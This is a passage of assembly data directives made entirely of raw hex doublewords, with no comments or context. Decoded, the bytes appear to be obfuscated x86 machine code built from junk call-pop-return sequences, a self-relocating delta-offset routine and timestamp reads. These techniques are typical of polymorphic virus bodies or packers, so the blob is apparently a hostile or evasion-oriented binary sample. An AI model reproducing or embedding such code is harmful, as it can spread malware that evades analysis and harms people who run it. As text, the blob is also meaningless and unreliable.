		dd 4247489h, 4244481h, 1Ah, 0C4C35646h,	0AF493370h, 95FF0090h
		dd 62B06F1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	55C35040h, 0C225BADDh, 0DC4FA80Ah, 24CE8166h, 9D8D8DBEh
		dd 0F062B2Eh, 1C7F3BFh,	0
		dd 41C7F88Bh, 4, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 731E74CFh, 0EE9F4h, 0E2D10000h
		dd 0FDEABFF2h, 36A5EC56h, 1B69EBA8h, 840FC00Bh,	52h, 0AE8h
		dd 0E901D00h, 42A5A6Dh,	6604C927h, 0CE07C781h, 0A18D8D5Fh
		dd 66062B4Eh, 8607D681h, 5B8h, 55BD0300h, 0FF062B2Fh, 52006AE1h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 98FD8CFBh, 0BE668B52h, 8D8D8B4Eh, 62B2E9Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 89C35545h, 0AEBF1FB7h
		dd 0C763D538h, 0CA95A501h, 11B58B54h, 81062B1Ch, 99CFCB01h
		dd 0DD9D8914h, 60062B11h, 8166CA8Ah, 61B072C3h,	690441C7h
		dd 89CE5F59h, 2B1E95B5h, 4418106h, 31D6D710h, 6AF38Bh
		dd 27599589h, 858D062Bh, 62B2E9Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0D9C35343h,	0CDBC012Ah, 679BDFD5h
		dd 269B58Bh, 9E9062Bh, 0F9000000h, 0BD7BA8E6h, 1FB13B44h
		dd 4FBE6650h, 24048968h, 78F0Fh, 8D0F0000h, 1, 0F195FFF8h
		dd 8B062B06h, 2B216DBDh, 9D8D8D06h, 6A062B2Eh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 9234C352h, 0DF91E776h, 8B693A27h, 2B1EE5B5h,	1C706h
		dd 8B000000h, 2B1CEDB5h, 441C706h, 0
		dd 840FC00Bh, 6Bh, 0EDBD0353h, 5E062B00h, 4EA18D8Dh, 6A062Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 563BD3C3h, 0B731C262h, 0BE9h, 0C75E1B00h, 571BB5B5h
		dd 4A4F6674h, 0ABC78166h, 5B8E8h, 0E1FF0000h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 5FC35646h, 380CE47h
		dd 0F352E9CAh, 8589FFFFh, 62B0269h, 8F0FC18Bh, 3, 0EBF1BF0Fh
		dd 4, 2880F00h,	8B000000h, 53006AFAh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0E53BD8D4h
		dd 96550573h, 418D8933h, 8D062B11h, 2B2FC185h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 4E66957Dh, 8954E5C2h, 0B58BA763h, 62B0D6Dh, 68D0Fh
		dd 0B58B0000h, 62B2195h, 50F98B90h, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 396AD008h
		dd 0FB8D954Ah, 9E90996h, 57000000h, 3C022227h, 85D46F95h
		dd 8B66006Ah, 0E8006AFAh, 10h, 0D747EE13h, 0FD27388Eh
		dd 50B192F1h, 49F6DE0Ah, 5FF1BF0Fh, 0EAFF858Dh,	0B501062Eh
		dd 62B2FFDh, 0F05C083h,	689h, 2D958900h, 50062B2Eh, 10E960h
		dd 0E3340000h, 0A46B1316h, 0DB79B2C4h, 53926B91h, 5060085Ch
		dd 5A310F52h, 10E858h, 19770000h, 61A4B608h, 0EDB43C13h
		dd 247C8A89h, 61588194h, 24048961h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 5DC35545h, 0B2A909BCh, 129B58Bh
		dd 9589062Bh, 62B2FDDh,	6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 7D3364C3h, 79BD8B53h
		dd 6A062B01h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 8F663470h, 34E195FFh, 6A062Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 22B05CC3h, 0D4106CA5h, 0E8F99904h, 0Ah, 0FA23D5F9h
		dd 80491A83h, 95894504h, 62B0945h, 8DFE8B5Fh, 2EA6AA9Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 65BDE20Ah, 1DFD5BD4h, 79853168h,	0E9062B2Dh
		dd 6, 0EA613DF8h, 0D3FFEBAFh, 10E857h, 6BDB0000h, 3175AA4Ch
		dd 0AD5F7540h, 69A43E7Ah, 0D7813DEEh, 2F60CC1Bh, 85FF5F5Fh
		dd 62B1E0Dh, 0E8816660h, 8D0F1087h, 2, 0E961F18Bh, 78Bh
		dd 0E8h, 0ED815D00h, 62EEB09h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0F4C35242h,	1B5DB529h, 0BD81062Bh
		dd 62B2909h, 7D0h, 184860Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 83D1E8C3h
		dd 8B2CCE7Bh, 8166EBDBh, 8B5DC1E7h, 2B0B6D9Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 9DBD0A79h, 35A3C79h,	81F28B66h, 0BD824AE7h, 0E38146h
		dd 8B000001h, 0FDB0BF9h, 0BB85h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 8F7C2357h
		dd 76D9B019h, 0EF8166DCh, 0BD835ACEh, 62EE8B9h,	34840F00h
		dd 33000000h, 2B1C35B5h, 0A8E906h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 1361A4C3h
		dd 89EDB43Ch, 32BF7C8Ah, 0C71499C8h, 2EE8B985h,	106h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 53E9AC42h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0BFD2C356h,	0F9B5030Ah
		dd 0F52DBA95h, 0E8B985C7h, 62Eh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 3BE6CAC3h
		dd 2CADB58Bh, 9D8D062Bh, 62B0B6Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0F8C35141h,	2381ADA8h, 0FFFFFEFFh
		dd 179B533h, 8C66062Bh,	53006ADBh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 7B759478h, 0C95CA2C8h
		dd 4C3F6B3h, 28840Fh, 85890000h, 62B1ABDh, 356995FFh, 50F9062Bh
		dd 6E8h, 0AFE47B00h, 0BE46A905h, 90E4E5Fh, 2404895Eh, 27058D89h
		dd 90E9062Bh, 6A000003h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0D8DEC355h,	601AC215h
		dd 4D9D8957h, 59062B2Bh, 31958B60h, 0E9062B33h,	6, 0D4D92EB3h
		dd 616180DFh, 0B50B00B0h, 62B34A9h, 0B70F70E6h,	6A71E4F7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 2A64C353h, 0C7044A6Eh, 12E9CBh, 80A30000h
		dd 0A06DECDEh, 0D4781477h, 4E0D516Ch, 8F52941Fh, 6AD8B60Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0E25CC356h, 19DDB58Bh, 0BE66062Bh, 6BAE009h
		dd 52000000h, 2725BD8Bh, 8B5E062Bh, 55006AC3h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0F4C1B826h
		dd 0AAA4BFCBh, 0B50370EFh, 62B19D5h, 0B3C8C781h, 0E8C16F2Bh
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0F1B920B1h, 66F6A116h, 0BF0FE2F7h, 0FD82BFBh
		dd 8Dh,	0BE85000h, 0AB000000h, 99C95256h, 62DDCD54h, 12E9E677h
		dd 9B000000h, 833724BDh, 24BE0DC1h, 0F2C2FDBEh,	336B005Fh
		dd 1C895EDAh, 0E1B58B24h, 0FF062B09h, 2B2909B5h, 95FFFC06h
		dd 62B2945h, 41950950h,	5F062B20h, 23BF00B0h, 6675B711h
		dd 0E69C75BEh, 6A71E470h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 6037C357h, 2347C780h
		dd 2B0C31BDh, 613C6106h, 1E9830Fh, 81520000h, 21F116DFh
		dd 0B60F5E49h, 0FEB70FD8h, 6BAh, 8D0F6000h, 6, 330D9589h
		dd 0B589062Bh, 62B323Dh, 0C1C38B61h, 6A04E8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 647844C3h
		dd 0C409E118h, 9EF68166h, 0E2F7669Ch, 163DBD89h, 0D82B062Bh
		dd 51006A58h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0D7D2B64Eh, 770C7F73h, 85BD2960h, 2B062B07h
		dd 58880FD8h, 0B9000001h, 7, 9344F5BEh,	0AD8D3167h, 83062B15h
		dd 6A00C1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0D4EF3EC3h, 0F346005h, 184h, 0B589F800h
		dd 62B1955h, 166D9589h,	0D93B062Bh, 109860Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 417C7DC3h, 0AF115987h, 0BD2952E8h, 62B0B79h,	8F0Fh
		dd 8C660000h, 79B52BD9h, 0F6062B1Bh, 840F04C1h,	95h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 57C35141h, 446FF16h
		dd 900E1D33h, 0FFF08BE9h, 2B356995h, 5BFE8B06h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0BDC35747h, 0CE3AFA08h, 0A71673Dh, 81C32B25h
		dd 151ECCEFh, 8343D6Bh,	860F0000h, 2Dh,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Bh, 76C35343h, 77480FDCh
		dd 0BF98A22Ch, 60A2EF0Dh, 32E9h, 6AC08B00h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0BA9DC352h
		dd 1D9589E5h, 0F062B1Dh, 681h, 0F5858900h, 8B062B25h, 6AD88BC3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 1CB0C356h, 667D8DAFh, 0C7EDCEBEh,	2B1F5985h
		dd 0C697F06h, 52006A5Dh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 8B8A0CC4h, 2B063DBDh, 91BD2306h
		dd 8B062B26h, 0BD81F9C0h, 62B2909h, 7D0h, 31850Fh, 0BD890000h
		dd 62B0939h, 290985FFh,	6A062Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0BD14FAC3h, 2745BD31h
		dd 0FFF5062Bh, 2B2909B5h, 4595FF06h, 6A062B29h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 745FC356h, 90EA62EEh, 0CE9h,	0E6D7EF00h, 21A87CEEh
		dd 0E7626D86h, 0E1BD895Dh, 6A062B15h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 3D78C353h
		dd 436134E1h, 0F28B0B73h, 21EF8166h, 3DB589C0h,	0F9062B2Ch
		dd 0A79B58Bh, 850F062Bh, 6, 29E1B58Bh, 0B58B062Bh, 62B3071h
		dd 815BD8Bh, 7E9062Bh, 93000000h, 2654DC95h, 6A1040h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 2F62A5C3h, 0DC20EE42h, 8D891171h, 62B273Dh, 1551B503h
		dd 12BE062Bh, 3300F929h, 2B025DBDh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 47E333A2h
		dd 44395C32h, 11E92287h, 81000000h, 0D383A948h,	0C8BB466Ch
		dd 0A1E83462h, 0D73FB310h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 1CC35343h, 0F87AE9F9h, 0F53FFFFh, 8B5FFEBFh
		dd 51006AC1h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0E94841D7h, 0EBA9A324h, 4, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 8FB6F5A6h, 9D895F53h, 62B2639h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0D5C35343h,	4CAE2FDEh, 0BDCCC21Fh
		dd 11E8h, 0AD262B00h, 0C9ABEF1Bh, 3D768860h, 176D8D1Fh
		dd 5E92B5Eh, 0C5000000h, 0C96696CEh, 0C1858D5Eh, 6A062B2Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0E887C353h, 14h, 0DB5F335Eh, 28E1E94Fh, 59F43F9Ah
		dd 544E20F0h, 0DFCF2398h, 14E95EF9h, 80000000h,	218B42FAh
		dd 93348B07h, 7DF66AD7h, 0D07D9EB8h, 90B86509h,	0BE960h
		dd 9A770000h, 0C66F1704h, 725348BBh, 0CB8B6037h, 61615851h
		dd 0AC69BE50h, 23905EB7h, 2B1581B5h, 6A006A06h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 610DC357h, 89801F1Ah, 2B07B185h, 89006A06h, 2B00B995h
		dd 0CE816606h, 858DBD80h, 62EF496h, 6E960h, 0CC270000h
		dd 25165DF0h, 92CE8052h, 0C083615Eh, 0D1B58B05h, 31062B34h
		dd 2B05D59Dh, 0EE99006h, 39000000h, 0AB0340AFh,	0FB0EF61Dh
		dd 812B6D59h, 0F88B50FDh, 0DF816690h, 6A0875h, 6AF0BF0Fh
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 20A19832h, 1CB91509h, 148B0Fh, 0FE90000h
		dd 0D2000000h, 0AB938873h, 0DBDEA94Dh, 0B37C077Ch, 95FF046Bh
		dd 62B34E1h, 8DF88B66h,	2EA6AA9Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0BED3FFC6h
		dd 3DDA3714h, 1E0D85FFh, 61E9062Bh, 0E8000009h,	0
		dd 0A0ED815Dh, 6A062EF4h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 25ACC357h, 7DFA9DC4h
		dd 8B667894h, 65B533F7h, 81062B09h, 2B2909BDh, 7D006h
		dd 8C860F00h, 8B000001h, 2B159DBDh, 0F19D8B06h,	0F9062B1Bh
		dd 100E381h, 81660000h,	0B5097CFh, 0E6850FDBh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 9280C357h, 72B00C2Ah, 83FABF0Fh, 2EF2B5BDh
		dd 840F0006h, 63h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 38C35747h, 4B5D2F23h,	55865982h, 0BC1EE81h
		dd 0B70F2834h, 0ADE9F1h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 10E9A6C3h, 1B000000h
		dd 1A66194Dh, 9C3546DEh, 0F216506Dh, 0C71E094Bh, 2EF2B585h
		dd 106h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 663502C5h, 0E93D3EBEh, 4Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 9DC35141h, 0BDC2367Fh
		dd 0B585C705h, 62EF2h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0DD63C356h
		dd 8DFC8628h, 2B1BF19Dh, 14E806h, 1F290000h, 0ADFD2BD9h
		dd 17660C60h, 0F46404F1h, 58C43ECh, 815F88E8h, 0FFFEFF23h
		dd 51006AFFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0E99A1ADAh, 0Dh,	31E2365Fh, 0FFF7BA57h
		dd 0F5C19BB1h, 11BD0BF7h, 66062B19h, 0C3F6DB8Ch, 9C840F04h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 8CB0C356h, 9E7F7560h, 0E96718BAh
		dd 6, 4F1F2FB5h, 9D8982EDh, 62B359Dh, 356995FFh, 6A062Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 62E89FC3h, 98856514h, 0BD89524Ah, 62B18C5h, 8B66905Fh
		dd 8B6650F2h, 6A90F2h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 18EAC0C3h, 0C76BE4B7h, 5860Fh, 0A4BF0000h
		dd 0E96C9DC0h, 473h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 9C35646h, 69850950h, 8B062B30h, 2B2C61B5h
		dd 6A00B006h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0E7EFC356h, 70E67280h,	1DB98529h
		dd 0CE8062Bh, 0AF000000h, 8B06B56Eh, 0D781C545h, 0E92AE4D8h
		dd 13h,	0B780124Fh, 717CC5Ch, 9AD8CD11h, 93273E4Fh, 5EC024B8h
		dd 6A71E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 1613B3C3h, 0FB8BBE43h, 0A8DF781h,	0B60F084Dh
		dd 56006AD8h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0AEEE08E1h, 9E8h, 2D76F800h, 740744B9h
		dd 9E91556h, 47000000h,	0D59B258Dh, 32E7C19Dh, 6BA5Fh
		dd 0FC600000h, 0DFFC50BFh, 0C38B6163h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 6C35343h, 0C159637Bh, 6A04E8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 93998EC3h, 0DE992AAh, 1000000h, 1A03E192h, 554051C9h
		dd 0F9DC28A3h, 0FE9h, 0E743F00h, 306D7C49h, 51D7001Bh
		dd 0AC1F646h, 6AE2F766h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0DFE1C356h,	0F7935437h
		dd 8BAA59DEh, 6AD82BF2h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0CD2CC355h,	28179745h
		dd 1C8950E0h, 0F88B6624h, 174DB58Bh, 0B5FF062Bh, 62B2909h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 64C35747h
		dd 1D911551h, 0EDB58B14h, 89062B2Eh, 2B2E359Dh,	0BDB53306h
		dd 0FF062B2Ah, 2B294595h, 53E78106h, 0B017A325h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 92B23FE8h, 92685834h, 599D8902h, 0E9062B01h,	0Ah, 0EA474BC0h
		dd 0F5162D95h, 70E635A6h, 3860Fh, 0F5500000h, 0E971E45Fh
		dd 14h,	59824B5Dh, 2895586h, 0D977CB51h, 0EC9182D3h, 28D55C2Eh
		dd 830F613Ch, 20Fh, 4FD9589h, 0B60F062Bh, 0CE9D8h, 84C90000h
		dd 51ACDBAEh, 0A0298CDh, 6BA27E8h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 5BFDC353h, 1358589h,	0C38B062Bh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0B3C35747h,	3648C8F1h, 6A04E8C1h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0E829C355h, 66F98F5Ch, 0D82BE2F7h, 18F0Fh
		dd 58F80000h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 17h,	0CCC35141h, 0F4DF6FAh, 68Ah, 41BD2300h,	2B062B35h
		dd 48880FD8h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0ED97C357h,	6D8D9DAh
		dd 81600570h, 0BAB7A0EBh, 0B961F528h, 7, 3D9D8951h, 5E062B2Ah
		dd 0BFA5E781h, 0C1831CAEh, 0E9BD8B00h, 66062B05h, 3BBE38BFh
		dd 0F4860FD9h, 9000000h, 2B0965B5h, 0D98C6606h,	6E1B50Bh
		dd 0C1F6062Bh, 0B0840F04h, 6A000000h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 1137C353h
		dd 57F4659Dh, 5B58960h,	0E8062B29h, 11h, 8C14ABECh, 3B15C384h
		dd 0A0680680h, 9CB46D18h, 5E6159A2h, 356995FFh,	9D09062Bh
		dd 62B28E9h, 0D9D015Bh,	8B062B07h, 2B097DB5h, 8BC32B06h
		dd 2B00F5B5h, 8343D06h,	860F0000h, 43h,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0E9C35545h, 4EE9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 241F9ECAh, 8B8A4109h, 57006AC0h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 85192A01h
		dd 0A880FDC4h, 419D8905h, 8B062B1Fh, 23D88BC3h,	2B2A21BDh
		dd 6D85C706h, 0FF062B0Bh, 605EC6C9h, 0B81BD09h,	8D09062Bh
		dd 62B2079h, 6AC08B61h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0BE23C353h,	293429E2h
		dd 2909BD81h, 7D0062Bh,	850F0000h, 4Ch,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 2EC35242h, 5D2BBF66h
		dd 290985FFh, 6A062Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 8560FCC3h, 66ED1655h, 24CCC781h
		dd 2909B5FFh, 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0AB2681C3h, 0F28BEB16h, 294595FFh
		dd 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0EF7AE4C3h, 6860Fh, 0B58B0000h, 62B2589h
		dd 899D89h, 6090062Bh, 0EF18D8Bh, 0BF66062Bh, 31612ABAh
		dd 2B19B98Dh
		dd 0ABE6606h, 0DE9A7h, 44B60000h, 3E8CA6BAh, 0C8719546h
		dd 316649C8h, 2B35858Dh, 0A5858906h, 6A062B0Dh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0B002C357h, 0DE908DE8h, 0E895387Ch, 6, 6540411Fh, 0BF661339h
		dd 6A5FC212h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0C1E4C352h, 0EC4CD568h, 3ADDD55Bh
		dd 1C79B58Bh, 29F9062Bh, 2B3505BDh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0CD03222Eh
		dd 29BD2322h, 53062B32h, 0BD4DF81h, 505E7F82h, 2D5F681h
		dd 0B5036764h, 62B2495h, 8B66FC5Eh, 58C0FF2h, 66000000h
		dd 327AD781h, 78C0Fh, 3FC0000h,	2B1E41BDh, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 0FBBF0F5Eh, 0BE8h, 3D8F6000h, 214DB3FEh, 28676EF1h
		dd 13E9h, 638A2600h, 0AB359F5Eh, 11682DBFh, 36EC5948h
		dd 0F75116A1h, 9995295Fh, 50062B1Dh, 6870Fh, 0B5890000h
		dd 62B26FDh, 0F6B9E95Eh, 8589FFFFh, 62B2041h, 359D8960h
		dd 8B062B0Ch, 2B2CD99Dh, 458D0106h, 61062B24h, 0BD23C18Bh
		dd 62B3395h, 4EBh, 0B70F0000h, 0C1858DF6h, 6A062B2Fh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 8556C355h, 14E98Bh, 433F0000h, 6309A631h, 0AB9EBE27h
		dd 38C212Eh, 0AF196417h, 0E9501720h, 0Ch, 20AF1964h, 0C09A3B17h
		dd 6C0598D6h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 40D3C357h, 6A37C7h
		dd 6AF18Bh, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Ah,	0FEC35141h, 0AFA342A2h,	858DA28Ah, 62EFF76h, 0C7816650h
		dd 835F2140h, 953105C0h, 62B2B5Dh, 50F6BF0Fh, 880Fh, 4890000h
		dd 29006A24h, 2B28B1B5h, 6A006A06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0B9B3C357h
		dd 0B5B58992h, 0FF062B25h, 2B34E195h, 0FE906h, 58350000h
		dd 8883B083h, 0B2D23303h, 0AD6ED727h, 0AA9D8D93h, 6A062EA6h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0C4D5C356h, 2E3CCDCDh, 89FDEB2Ch,	2B18FD95h
		dd 89D3FF06h, 2B1D4195h, 0D85FF06h, 6A062B1Eh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 3F3EC350h, 4720BF88h, 0BE669F69h, 20E9B433h,	0E8000009h
		dd 0
		dd 80ED815Dh, 6A062EFFh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 2587C356h, 0F18BDA0Dh
		dd 2909BD81h, 7D0062Bh,	860F0000h, 170h, 17C99D8Bh, 0E381062Bh
		dd 100h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ah,	0FBC35040h, 6E1F889Fh, 0BD8BFE25h, 62B3555h, 850FDB0Bh
		dd 0C5h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0A4C35242h, 285BC109h, 7E94444h, 9C000000h, 40BF640h
		dd 0BD830DE6h, 62EFE06h, 55840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 2BCFC357h, 2B2409B5h, 0F6B70F06h, 81E9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 94A6122Dh, 0DEDC176Bh, 0D7815610h, 326796A3h, 0FE0685C7h
		dd 1062Eh, 0B58B0000h, 62B2085h, 41E9h,	57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 0F1A1ABC7h, 685C7EEh, 62EFEh, 0F000000h, 1188h, 0CE900h
		dd 0EF730000h, 0BEBD45F3h, 60DADAD4h, 9D8D0FB3h, 62B17C9h
		dd 61858960h, 8B062B21h, 2B34D195h, 8B0F6106h, 8, 880F50h
		dd 5F000000h, 0FEFF2381h, 6660FFFFh, 0F26AD181h, 19830Fh
		dd 14E90000h, 12000000h, 90435020h, 0B6DA88F4h,	0CA1C5D46h
		dd 3FC40FA8h, 616B8F7Eh, 8BDB8C66h, 4C3F6F9h, 74840Fh
		dd 7E90000h, 8000000h, 0F8CDB179h, 95FF13A9h, 62B3569h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0A3C35747h
		dd 0E90F03C4h, 811047A1h, 714433EFh, 6057904Bh,	8B665E50h
		dd 505F61C6h, 310F5250h, 3D54BE66h, 6A90585Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 8870C350h, 0B3D5C9E6h, 0F0E932D2h, 53000004h, 0DB44BE66h
		dd 6A00B05Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 3922C351h, 8E952h, 0DD3A0000h
		dd 0D90494B9h, 9D890252h, 62B15F5h, 6A70E6h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8D293CC3h
		dd 62B1C11h, 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 8D8466C3h, 16D04474h, 3009C72h
